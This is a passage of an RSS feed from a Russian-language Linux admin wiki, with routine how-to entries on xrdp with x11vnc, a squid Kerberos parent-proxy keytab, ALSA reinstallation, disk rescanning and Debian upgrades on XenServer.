&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0435\u0440\u0435\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0441\u0441\u0438\u0438 \u043f\u043e\u0441\u043b\u0435 \u0440\u0435\u0441\u0442\u0430\u0440\u0442\u0430 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 xrdp&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0435\u0440\u0435\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435_\u043a_\u0441\u0435\u0441\u0441\u0438\u0438_\u043f\u043e\u0441\u043b\u0435_\u0440\u0435\u0441\u0442\u0430\u0440\u0442\u0430_\u0441\u0435\u0440\u0432\u0438\u0441\u0430_xrdp&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;3345-3919&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit4&quot; id=&quot;то_что_написано_ниже_-_уже_не_актуально&quot;&gt;То что написано ниже - уже не актуально&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0422\u043e \u0447\u0442\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e \u043d\u0438\u0436\u0435 - \u0443\u0436\u0435 \u043d\u0435 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0442\u043e_\u0447\u0442\u043e_\u043d\u0430\u043f\u0438\u0441\u0430\u043d\u043e_\u043d\u0438\u0436\u0435_-_\u0443\u0436\u0435_\u043d\u0435_\u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;3920-4005&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;настраиваем_xrdp_с_возможностью_переподключения_к_существующей_сессии&quot;&gt;Настраиваем xrdp с возможностью переподключения к существующей сессии&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Хорошая штука &lt;strong&gt;xrdp&lt;/strong&gt; - дает возможность подключаться c windows машин к linux машине по протоколу RDP. 
Однако, &lt;strong&gt;xrdp&lt;/strong&gt; версии &lt;strong&gt;0.6.0&lt;/strong&gt;, входящий в состав репозиторя &lt;strong&gt;Ubuntu 14.04&lt;/strong&gt; вский раз при подключении пользователя создает новую сессию. Такое происходит из-за входящего в состав &lt;strong&gt;xrdp&lt;/strong&gt; сервера vnc. Чтобы работало переподключение необходимо установить связку &lt;strong&gt;xrdp&lt;/strong&gt;+&lt;strong&gt;X11vnc&lt;/strong&gt;. Работающее решение нашлось тут: &lt;a href=&quot;http://c-nergy.be/blog/?p=3546&quot; class=&quot;urlextern&quot; title=&quot;http://c-nergy.be/blog/?p=3546&quot; rel=&quot;ugc nofollow&quot;&gt;http://c-nergy.be/blog/?p=3546&lt;/a&gt;
&lt;/p&gt;

&lt;p&gt;
Сначала ставим и удаляем штатный &lt;strong&gt;xrdp&lt;/strong&gt;, чтобы создались конфирурационные файлы:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install xrdp &amp;amp;&amp;amp; sudo apt-get remove xrdp&lt;/pre&gt;

&lt;p&gt;
Потом ставим зависимости для сборки последней версии:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install autoconf libtool libpam0g-dev libx11-dev libxfixes-dev libssl-dev &lt;/pre&gt;

&lt;p&gt;
И устанавливаем X11vnc:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install x11vnc&lt;/pre&gt;

&lt;p&gt;
Скачиваем и распаковываем последнюю версию &lt;strong&gt;xrdp&lt;/strong&gt; с &lt;strong&gt;sourceforge&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;wget http://netassist.dl.sourceforge.net/project/xrdp/xrdp/0.6.1/xrdp-v0.6.1.tar.gz
tar -xvf ./xrdp-v0.6.1.tar.gz 
cd xrdp-v0.6.1&lt;/pre&gt;

&lt;p&gt;
Собираем и устанавливаем:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo ./bootstrap 
sudo ./configure
sudo make
sudo make install&lt;/pre&gt;

&lt;p&gt;
Настраиваем &lt;strong&gt;xrdp&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cd /etc/xrdp/
sudo mv startwm.sh startwm.sh.backup
sudo ln -s /etc/X11/Xsession /etc/xrdp/startwm.sh
sudo mkdir /usr/share/doc/xrdp
sudo cp /etc/xrdp/rsakeys.ini /usr/share/doc/xrdp/rsakeys.ini &lt;/pre&gt;

&lt;p&gt;
Также заменяем скрипт, запускающий &lt;strong&gt;xrdp&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cp /etc/init.d/xrdp /etc/init.d/xrdp.orig
sudo chmod a-x /etc/init.d/xrdp.orig
sudo nano /etc/init.d/xrdp&lt;/pre&gt;

&lt;p&gt;
И вставляем туда вот что:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/sh -e
#
# start/stop xrdp and sesman daemons
#
### BEGIN INIT INFO
# Provides:          xrdp
# Required-Start:    $network $remote_fs
# Required-Stop:     $network $remote_fs
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: Start xrdp and sesman daemons
# Description:       XRDP uses the Remote Desktop Protocol to present a
#                    graphical login to a remote client allowing connection
#                    to a VNC server or another RDP server.
### END INIT INFO

PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/local/sbin/xrdp
PIDDIR=/var/run
SESMAN_START=yes
USERID=xrdp
RSAKEYS=/etc/xrdp/rsakeys.ini
NAME=xrdp
DESC=&amp;quot;Remote Desktop Protocol server&amp;quot;

test -x $DAEMON || exit 0

. /lib/lsb/init-functions

check_root()  {
    if [ &amp;quot;$(id -u)&amp;quot; != &amp;quot;0&amp;quot; ]; then
        log_failure_msg &amp;quot;You must be root to start, stop or restart $NAME.&amp;quot;
        exit 4
    fi
}

if [ -r /etc/default/$NAME ]; then
   . /etc/default/$NAME
fi

# Tasks that can only be run as root
if [ &amp;quot;$(id -u)&amp;quot; = &amp;quot;0&amp;quot; ]; then
    # Check for pid dir
    if [ ! -d $PIDDIR ] ; then
        mkdir $PIDDIR
    fi
    chown $USERID:$USERID $PIDDIR

    # Check for rsa key 
    if [ ! -f $RSAKEYS ] || cmp $RSAKEYS /usr/share/doc/xrdp/rsakeys.ini &amp;gt; /dev/null; then
        log_action_begin_msg &amp;quot;Generating xrdp RSA keys...&amp;quot;
        (umask 077 ; xrdp-keygen xrdp $RSAKEYS)
        chown $USERID:$USERID $RSAKEYS
        if [ ! -f $RSAKEYS ] ; then
            log_action_end_msg 1 &amp;quot;could not create $RSAKEYS&amp;quot;
            exit 1
        fi
        log_action_end_msg 0 &amp;quot;done&amp;quot;
    fi
fi

case &amp;quot;$1&amp;quot; in
  start)
        check_root
        exitval=0
        log_daemon_msg &amp;quot;Starting $DESC &amp;quot; 
        if pidofproc -p $PIDDIR/$NAME.pid $DAEMON &amp;gt; /dev/null; then
            log_progress_msg &amp;quot;$NAME apparently already running&amp;quot;
            log_end_msg 0
            exit 0
        fi
        log_progress_msg $NAME
        start-stop-daemon --start --quiet --oknodo  --pidfile $PIDDIR/$NAME.pid \
	    --chuid $USERID:$USERID --exec $DAEMON
        exitval=$?
	if [ &amp;quot;$SESMAN_START&amp;quot; = &amp;quot;yes&amp;quot; ] ; then
            log_progress_msg &amp;quot;sesman&amp;quot;
            start-stop-daemon --start --quiet --oknodo --pidfile $PIDDIR/xrdp-sesman.pid \
	       --exec /usr/local/sbin/xrdp-sesman
            value=$?
            [ $value -gt 0 ] &amp;amp;&amp;amp; exitval=$value
        fi
        # Make pidfile readables for all users (for status to work)
        [ -e $PIDDIR/xrdp-sesman.pid ] &amp;amp;&amp;amp; chmod 0644 $PIDDIR/xrdp-sesman.pid
        [ -e $PIDDIR/$NAME.pid ] &amp;amp;&amp;amp; chmod 0644 $PIDDIR/$NAME.pid
        # Note: Unfortunately, xrdp currently takes too long to create
        # the pidffile unless properly patched
        log_end_msg $exitval
	;;
  stop)
        check_root
	[ -n &amp;quot;$XRDP_UPGRADE&amp;quot; -a &amp;quot;$RESTART_ON_UPGRADE&amp;quot; = &amp;quot;no&amp;quot; ] &amp;amp;&amp;amp; {
	    echo &amp;quot;Upgrade in progress, no restart of xrdp.&amp;quot;
	    exit 0
	}
        exitval=0
        log_daemon_msg &amp;quot;Stopping RDP Session manager &amp;quot; 
        log_progress_msg &amp;quot;sesman&amp;quot;
        if pidofproc -p  $PIDDIR/xrdp-sesman.pid /usr/local/sbin/xrdp-sesman  &amp;gt; /dev/null; then
            start-stop-daemon --stop --quiet --oknodo --pidfile $PIDDIR/xrdp-sesman.pid \
                --chuid $USERID:$USERID --exec /usr/local/sbin/xrdp-sesman
            exitval=$?
        else
            log_progress_msg &amp;quot;apparently not running&amp;quot;
        fi
        log_progress_msg $NAME
        if pidofproc -p  $PIDDIR/$NAME.pid $DAEMON  &amp;gt; /dev/null; then
            start-stop-daemon --stop --quiet --oknodo --pidfile $PIDDIR/$NAME.pid \
	    --exec $DAEMON
            value=$?
            [ $value -gt 0 ] &amp;amp;&amp;amp; exitval=$value
        else
            log_progress_msg &amp;quot;apparently not running&amp;quot;
        fi
        log_end_msg $exitval
	;;
  restart|force-reload)
        check_root
	$0 stop
        # Wait for things to settle down
        sleep 1
	$0 start
	;;
  reload)
        log_warning_msg &amp;quot;Reloading $NAME daemon: not implemented, as the daemon&amp;quot;
        log_warning_msg &amp;quot;cannot re-read the config file (use restart).&amp;quot;
        ;;
  status)
        exitval=0
        log_daemon_msg &amp;quot;Checking status of $DESC&amp;quot; &amp;quot;$NAME&amp;quot;
        if pidofproc -p  $PIDDIR/$NAME.pid $DAEMON  &amp;gt; /dev/null; then
            log_progress_msg &amp;quot;running&amp;quot;
            log_end_msg 0
        else
            log_progress_msg &amp;quot;apparently not running&amp;quot;
            log_end_msg 1 || true
            exitval=1
        fi
	if [ &amp;quot;$SESMAN_START&amp;quot; = &amp;quot;yes&amp;quot; ] ; then
            log_daemon_msg &amp;quot;Checking status of RDP Session Manager&amp;quot; &amp;quot;sesman&amp;quot;
            if pidofproc -p  $PIDDIR/xrdp-sesman.pid /usr/local/sbin/xrdp-sesman  &amp;gt; /dev/null; then
                log_progress_msg &amp;quot;running&amp;quot;
                log_end_msg 0
            else
                log_progress_msg &amp;quot;apparently not running&amp;quot;
                log_end_msg 1 || true
                exitval=1
            fi
        fi
        exit $exitval
        ;;
  *)
	N=/etc/init.d/$NAME
	echo &amp;quot;Usage: $N {start|stop|restart|force-reload|status}&amp;quot; &amp;gt;&amp;amp;2
	exit 1
	;;
esac

exit 0  &lt;/pre&gt;

&lt;p&gt;
Редактируем &lt;strong&gt;/etc/xrdp/xrdp.ini&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo nano /etc/xrdp/xrdp.ini&lt;/pre&gt;

&lt;p&gt;
и приводим его к такому виду:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[globals]
bitmap_cache=yes
bitmap_compression=yes
port=3389
crypt_level=low
channel_code=1
max_bpp=24
#black=000000
#grey=d6d3ce
#dark_grey=808080
#blue=08246b
#dark_blue=08246b
#white=ffffff
#red=ff0000
#green=00ff00
#background=626c72

[xrdp1]
name=sesman-Xvnc
lib=libvnc.so
username=ask
password=ask
ip=127.0.0.1
port=-1&lt;/pre&gt;

&lt;p&gt;
Если на вашей &lt;strong&gt;Ubuntu&lt;/strong&gt; используется &lt;strong&gt;KDE&lt;/strong&gt;, то
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;echo  &amp;quot;startkde&amp;quot; &amp;gt; ~/.xsession&lt;/pre&gt;

&lt;p&gt;
Если на вашей &lt;strong&gt;Ubuntu&lt;/strong&gt; используется &lt;strong&gt;gnome&lt;/strong&gt;, то надо отключить богатую графику:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo apt-get install gnome-session-fallback
echo  &amp;quot;gnome-session – -session=gnome-fallback&amp;quot; &amp;gt; ~/.xsession&lt;/pre&gt;

&lt;p&gt;
Теперь запускаем xrdp, подключаемся и радуемся
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo /etc/init.d/xrdp start&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c xrdp \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u043f\u0435\u0440\u0435\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043d\u0430\u0441\u0442\u0440\u0430\u0438\u0432\u0430\u0435\u043c_xrdp_\u0441_\u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e_\u043f\u0435\u0440\u0435\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f_\u043a_\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u0439_\u0441\u0435\u0441\u0441\u0438\u0438&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:3,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;4006-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 02 Apr 2020 15:19:39 +0000</pubDate>
        </item>
        <item>
            <title>настройка_аутентификации_kerberos_для_сервиса_systemd</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0_%D0%B0%D1%83%D1%82%D0%B5%D0%BD%D1%82%D0%B8%D1%84%D0%B8%D0%BA%D0%B0%D1%86%D0%B8%D0%B8_kerberos_%D0%B4%D0%BB%D1%8F_%D1%81%D0%B5%D1%80%D0%B2%D0%B8%D1%81%D0%B0_systemd</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;задача&quot;&gt;Задача&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Мне нужно настроить &lt;strong&gt;squid&lt;/strong&gt; в качестве промежуточного прокси, чтобы он принмал запросы от клиентов и перенапрвлял их на вышестоящий прокси, который требует аутентифкации по протоколу &lt;strong&gt;Kerberos&lt;/strong&gt;. &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0430\u0434\u0430\u0447\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-379&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;реализация&quot;&gt;Реализация&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Мой &lt;strong&gt;Squid&lt;/strong&gt; работает на &lt;strong&gt;Ubuntu 20.04&lt;/strong&gt;, которая введена в домен с помощью samba, то есть файл &lt;strong&gt;/etc/krb5.conf&lt;/strong&gt; уже настроен и &lt;strong&gt;DOMAIN.LOCAL&lt;/strong&gt; прописан в нем как &lt;strong&gt;default realm&lt;/strong&gt;. &lt;br/&gt;

Создадим &lt;strong&gt;keytab&lt;/strong&gt; с помощью утилиты &lt;strong&gt;ktutil&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;$ ktutil
ktutil:  addent -password -p user.name@DOMAIN.LOCAL -k 1 -e RC4-HMAC
Password for user.name@DOMAIN.LOCAL: 
ktutil:  wkt keytab.file.name
ktutil:  q&lt;/pre&gt;

&lt;p&gt;
В результате - в текущей директории будет файл с  хешем пароля пользователя, от имени которого &lt;strong&gt;squid&lt;/strong&gt; будет аутентифицироваться на вышестоящем &lt;strong&gt;upstream parent proxy&lt;/strong&gt;. &lt;br/&gt;

Дальше - скопируем этот файл в директорию сквида и дадим ему прав на чтение этого файла:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo cp ./keytab.file.name /etc/squid/
sudo chown proxy:proxy /etc/squid/keytab.file.name&lt;/pre&gt;

&lt;p&gt;
Теперь в конфиге сквида нужно прописать &lt;strong&gt;parent proxy&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cache_peer parent-proxy.domain.local parent 3128 0 no-query default login=NEGOTIATE&lt;/pre&gt;

&lt;p&gt;
Или, если вышестоящий прокси не умеет &lt;strong&gt;digest&lt;/strong&gt; и &lt;strong&gt;netdb-exchange&lt;/strong&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;cache_peer srv-proxy.rdleas.ru parent 3128 0 default no-query no-digest no-netdb-exchange login=NEGOTIATE&lt;/pre&gt;

&lt;p&gt;
Тип аутентификации задается выражением &lt;strong&gt;login=NEGOTIATE&lt;/strong&gt;. &lt;br/&gt;

Теперь нужно указать сквиду где ему брать &lt;strong&gt;keytab&lt;/strong&gt;. Для этого в его  окружении должна прописаться переменная &lt;strong&gt;KRB5_KTNAME&lt;/strong&gt;, значение которой - это путь до &lt;strong&gt;keytab&lt;/strong&gt;-файла. &lt;br/&gt;

В &lt;strong&gt;Ubuntu&lt;/strong&gt; сервисы запускает &lt;strong&gt;systemd&lt;/strong&gt;, поэтому создаю файл &lt;strong&gt;/etc/systemd/system/squid.service.d/krb.conf&lt;/strong&gt; с таким содержимым: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;[Service]
Environment=&amp;quot;KRB5_KTNAME=/etc/squid/keytab.file.name&amp;quot;&lt;/pre&gt;

&lt;p&gt;
Всё. Обновляем конфигурацию systemd и перезапускаем &lt;strong&gt;squid&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo systemctl daemon-reload
sudo service squid restart&lt;/pre&gt;

&lt;p&gt;
Если что-то идет не так, то добавляем в конфиг такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;debug_options ALL,2&lt;/pre&gt;

&lt;p&gt;
И читаем лог. Логи работы с &lt;strong&gt;parent proxy&lt;/strong&gt; будут в &lt;strong&gt;/var/log/squid/cache.log&lt;/strong&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;380-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Thu, 19 Nov 2020 20:22:22 +0000</pubDate>
        </item>
        <item>
            <title>настройка_звука_в_ubuntu_14_04_kde</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BD%D0%B0%D1%81%D1%82%D1%80%D0%BE%D0%B9%D0%BA%D0%B0_%D0%B7%D0%B2%D1%83%D0%BA%D0%B0_%D0%B2_ubuntu_14_04_kde</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;alsa&quot;&gt;ALSA&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
ALSA включена в стандартную сборку ядра &lt;br/&gt;

Конфигурационные файлы &lt;strong&gt;alsa&lt;/strong&gt; находятся в папке &lt;strong&gt;/usr/share/alsa/&lt;/strong&gt;
Они входят в пакет &lt;strong&gt;libasound2-data&lt;/strong&gt;. Поэтому если вдруг в результает настоек что-то повредится и будут ошибки типа:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;ALSA lib conf.c:3707:(snd_config_update_r) Cannot access file /usr/share/alsa/alsa.conf
ALSA lib control.c:953:(snd_ctl_open_noupdate) Invalid CTL hw:0
aplay: device_list:277: control open (0): No such file or directory&lt;/pre&gt;

&lt;p&gt;
То нужно просто переустановить подсистему ALSA:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;rm -r ~/.pulse ~/.asound* 
sudo rm /etc/asound.conf
sudo apt-get update
sudo apt-get upgrade
sudo apt-get purge linux-sound-base alsa-base alsa-utils
sudo apt-get install linux-sound-base alsa-base alsa-utils gdm ubuntu-desktop
sudo apt-get install --reinstall libasound2-data&lt;/pre&gt;

&lt;p&gt;
Устройства для вывода звука могут быть заданы для пользователя
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;nano ~/.asoundrc&lt;/pre&gt;

&lt;p&gt;
или для системы вцелом
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo nano /etc/asound.conf&lt;/pre&gt;

&lt;p&gt;
В самом простом случае, если в системе одна звуковая карта, то &lt;strong&gt;/etc/asound.conf&lt;/strong&gt; будет выглядеть так:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;pcm.!default {
    type hw
    card 0
}

ctl.!default {
    type hw           
    card 0
}&lt;/pre&gt;

&lt;p&gt;
Получить список звуковых карт можно командой: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;aplay -l&lt;/pre&gt;

&lt;p&gt;
Если не удается получить список звуковых карт и выводится только строка &lt;strong&gt;&lt;/strong&gt;&lt;strong&gt; List of PLAYBACK Hardware Devices &lt;/strong&gt;&lt;strong&gt;&lt;/strong&gt;, возможно, у пользователя просто нет прав на это.Для того, чтобы права были нужно включить пользователя в группу &lt;strong&gt;audio&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;sudo gpasswd -a $USER audio&lt;/pre&gt;

&lt;/div&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>обнаружение-hdd-без-перезагрузки</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BE%D0%B1%D0%BD%D0%B0%D1%80%D1%83%D0%B6%D0%B5%D0%BD%D0%B8%D0%B5-hdd-%D0%B1%D0%B5%D0%B7-%D0%BF%D0%B5%D1%80%D0%B5%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BA%D0%B8</link>
            <description>
&lt;p&gt;
ВАЖНО! диск не должен быть смонтирован!&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
В данном случае &lt;strong&gt;/dev/sr0&lt;/strong&gt; это наше устройство. Оно может быть и /dev/sda и др. &lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Обнаруживаем контроллер:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# readlink /sys/block/sr0
../devices/pci0000:00/0000:00:1f.2/host1/target1:0:0/1:0:0:0/block/sr0&lt;/pre&gt;

&lt;p&gt;
Тут контроллер - это &lt;strong&gt;host1&lt;/strong&gt;&lt;br/&gt;

Отключаем устройство:&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# echo 1 &amp;gt; /sys/block/sr0/device/delete&lt;/pre&gt;

&lt;p&gt;
Устройство отключится от шины. Увидеть что это так можно с помощью dmesg&lt;br/&gt;

Сканируем снова!&lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;# echo &amp;quot;- - -&amp;quot; &amp;gt; /sys/class/scsi_host/host1/scan&lt;/pre&gt;

&lt;p&gt;
С помощью &lt;strong&gt;dmesg&lt;/strong&gt; можно увидеть, что диск нашелся!&lt;br/&gt;

&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>обновление-виртуальнои-машины-xenserver-5-5-debian-5-lenny-до-debia ...</title>
            <link>https://wiki.autosys.tk/linux_faq/%D0%BE%D0%B1%D0%BD%D0%BE%D0%B2%D0%BB%D0%B5%D0%BD%D0%B8%D0%B5-%D0%B2%D0%B8%D1%80%D1%82%D1%83%D0%B0%D0%BB%D1%8C%D0%BD%D0%BE%D0%B8-%D0%BC%D0%B0%D1%88%D0%B8%D0%BD%D1%8B-xenserver-5-5-debian-5-lenny-%D0%B4%D0%BE-debian-6-squeeze</link>
            <description>
&lt;p&gt;
Here is what I just did step-by-step&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
1) Backup! I take no responsability if this would break your system.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
2) Update to Debian 5.0.9&lt;br/&gt;

# apt-get update&lt;br/&gt;

# apt-get upgrade&lt;br/&gt;

# reboot&lt;br/&gt;

3) # nano -w /etc/apt/sources.list&lt;br/&gt;

Change lenny to squeeze. Comment out the two volatile lines. They seem not to be used anymore.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
4) Update to Debian 6&lt;br/&gt;

# apt-get update&lt;br/&gt;

# apt-get upgrade&lt;br/&gt;

During installation:&lt;br/&gt;

“Services to restart for PAM library upgrade&amp;amp;quot;: If cron is deafult - use this.&lt;br/&gt;

If /etc/console-tools/config has changed - Keep your change with N (default)&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
# apt-get install linux-image-2.6.32-5-686-bigmem&lt;br/&gt;

# apt-get install udev&lt;br/&gt;

During installation:&lt;br/&gt;

“Services to restart for GNU lib library upgrade&amp;amp;quot;: If cron is default - choose this&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
# reboot&lt;br/&gt;

5) # apt-get dist-upgrade&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
During installation:&lt;br/&gt;

“Use dash as the default system shell /bin/sh&amp;amp;quot;: Your choice - default is Yes.&lt;br/&gt;

“Chainload from menu.lst&amp;amp;quot; - No ←—————————————————————————– THIS IS NOT DEFAULT. When I used YES my VM didn&amp;#039;t boot.&lt;br/&gt;

“Migrate legacy boot sequencing to dependency-based sequencing” - Your choice - default is Yes.&lt;br/&gt;

“Configuring grub-pc: “Linux command line:”; console=hvc0 is OK.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
# upgrade-from-grub-legacy&lt;br/&gt;

During installation:&lt;br/&gt;

GRUB install devices: Choose /dev/xvda with Space and OK.&lt;br/&gt;

DO NOT DELETE menu.lst&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
# reboot&lt;br/&gt;

If you install XenServer Tools you will downgrade your version and this is not recommended. Keep the latest one from step 2 in this guide. If you reinstall them just upgrade them to the latest with&lt;br/&gt;

# apt-update ; apt-get upgrade Don&amp;#039;t forget to reboot after any XenServer Tools installation.&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Дальше можно обновиться и до Wheezy&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
После чего можно обновить список репозиториев, для этого везде где встречаем в файле /etc/apt/sources.list squeeze (stable) необходимо заменить на wheezy (testing).&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Далее не забываем обновить информацию о доступных пакетах в наших репозиториях:&lt;br/&gt;

bash:&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
 aptitude update&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Следующим нашим шагом будет обновление менеджеров пакетов, которые в процессе установки и обновление последующего софта должны работать, как пологается в Debian Wheezy (Testing):&lt;br/&gt;

bash:&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
 aptitude install apt aptitude dpkg&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
Теперь можно обновить и весь дистрибутив:&lt;br/&gt;

bash:&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
 aptitude dist-upgrade&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
После чего для уверенности в полном обновлении можно сделать:&lt;br/&gt;

bash:&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
 aptitude full-upgrade&lt;br/&gt;

&lt;/p&gt;

&lt;p&gt;
После всей установки, возможно, что некоторый софт используемый до обновления окажется удаленным, для его использования, просто необходимо его установить по новой через менеджер пакетов (переживать не стоит, если не удаляли конфиги, то все настройки остануться неизменными и переустановки не будет заметно&lt;br/&gt;

&lt;/p&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:27 +0000</pubDate>
        </item>
        <item>
            <title>отключаем-recordfail-в-grub</title>
